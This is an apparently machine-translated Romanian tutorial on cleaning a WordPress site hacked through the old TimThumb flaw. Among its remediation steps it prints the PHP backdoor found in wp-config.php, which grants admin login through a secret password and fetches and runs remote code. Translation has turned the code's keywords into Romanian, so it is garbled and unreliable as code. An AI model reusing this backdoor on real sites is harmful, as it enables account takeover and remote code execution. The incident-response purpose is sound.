Cum de a rezolva și de a curăța TimThumb Hack în WordPress
Deci, dacă vă amintiți corect, a apărut o problemă de securitate cu scriptul TimThumb în august, care a fost rezolvată. Cu toate acestea, spre surprinderea noastră, multe site-uri folosesc încă vechea versiune. Am stabilit până acum trei site-uri în ultima lună, una fiind ieri. Deci, este simplu să scrieți un articol pas cu pas, astfel încât utilizatorii noștri să-l poată urma. Toți cei trei utilizatori pentru care am rezolvat această problemă nu știau nici măcar ce a fost TimThumb sau dacă îl foloseau sau nu.
TimThumb este un script PHP care redimensionează imaginile. A fost o vulnerabilitate în ea, dar este sigur să o folosiți acum.
Deci, de unde știți că site-ul dvs. este hacked? Dacă vedeți un ecran roșu mare în browser atunci când vizitați site-ul dvs.:
Dacă începeți să fiți bombardați cu e-mailuri despre faptul că utilizatorii sunt redirecționați de pe site-ul dvs. Cel mai probabil, cazul este că site-ul dvs. a fost o victimă a acestui exploit.
Ca o măsură pro-preventivă, toată lumea ar trebui să folosească doar acest Timthumb Vulnerability Scanner. Acest lucru vă va spune dacă utilizați versiunea mai veche a lui TimThumb. O mulțime de cluburi de temă și-au îmbunătățit imediat miezul. Deci, acest plugin va verifica dacă noua versiune securizată a lui Timthumb este instalată sau dacă este instalată o versiune mai veche.
Acum, dacă site-ul dvs. a fost deja pradă exploatării Timthumb, atunci este ceea ce trebuie să faceți.
Mai întâi trebuie să ștergeți următoarele fișiere:
/wp-admin/upd.php/wp-content/upd.php
Conectați-vă la panoul de administrare WordPress și reinstalați versiunea WordPress. Suntem în mod special în căutarea pentru a reinstala aceste fișiere:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
Atunci deschide-ți wp-config.php unde veți găsi cel mai probabil acest cod malware mare, care recuperează datele de conectare și cookie-urile. Acest cod va fi spre partea de jos.
dacă ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') if ($ _GET ['pingnow']) == 'autentificare') $ user_login = 'admin'; $ user = get_userdatabylogin ($ user_login); $ user_id = $ user-> ID; wp_set_current_user ($ user_id, $ user_login); wp_set_auth_cookie ($ USER_ID); do_action ('wp_login', $ user_login); dacă ($ _GET ['pingnow'] == 'exec') && (isset ($ _GET ['fișier']))) $ ch = curl_init ($ _GET ['fișier']); $ fnm = md5 (rand (0.100)). '. php'; $ fp = fopen ($ fnm, "w"); curl_setopt ($ ch, CURLOPT_FILE, $ fp); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); curl_exec ($ ch); curl_close ($ ch); fclose ($ fp); ecou "location.href = '$ fnm';"; dacă ($ _GET ['pingnow'] == 'eval') && (isset ($ _GET ['fișier']))) $ ch = curl_init ($ _GET ['fișier']); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); $ re = curl_exec ($ ch); curl_close ($ ch); eval ($ re);
În dosarul temei, căutați oriunde scriptul TimThumb ar putea să stocheze fișierele memorate în memoria cache. De obicei, ele se află în această structură:
/wp-content/themes/themename/scripts/cache/external_MD5Hash.php /wp-content/themes/themename/temp/cache/external_MD5Hash.php
Șterge tot ce arată astfel. Dacă nu sunteți sigur de lucrurile, ștergeți tot ceea ce nu este un fișier imagine.
Următorul lucru pe care doriți să-l faceți este să înlocuiți timthumb.php cu cea mai recentă versiune care poate fi găsită la http://timthumb.googlecode.com/svn/trunk/timthumb.php
Acum ar fi o idee bună să vă schimbați parolele începând cu informațiile dvs. de conectare MySQL la informațiile de conectare ale WordPress. Nu uitați să modificați parola pentru MySQL în wp-config.php sau veți primi ecranul "Eroare de stabilire a conexiunii".
Schimbați cheile secrete în fișierul wp-config.php. Puteți genera o nouă cheie accesând generatorul online.
Acum ați terminat. Nu uitați să goliți toate pluginurile de cache ale paginilor. Ca o măsură de precauție, este bine să ștergeți și cache-ul dvs. de browsere și cookie-urile.
Pentru dezvoltatori, încercați să utilizați caracteristica Additional Image Sizes în WordPress pentru a înlocui funcțiile Timthumb.
Anunțați-ne dacă aveți nevoie de asistență suplimentară utilizând formularul nostru de contact.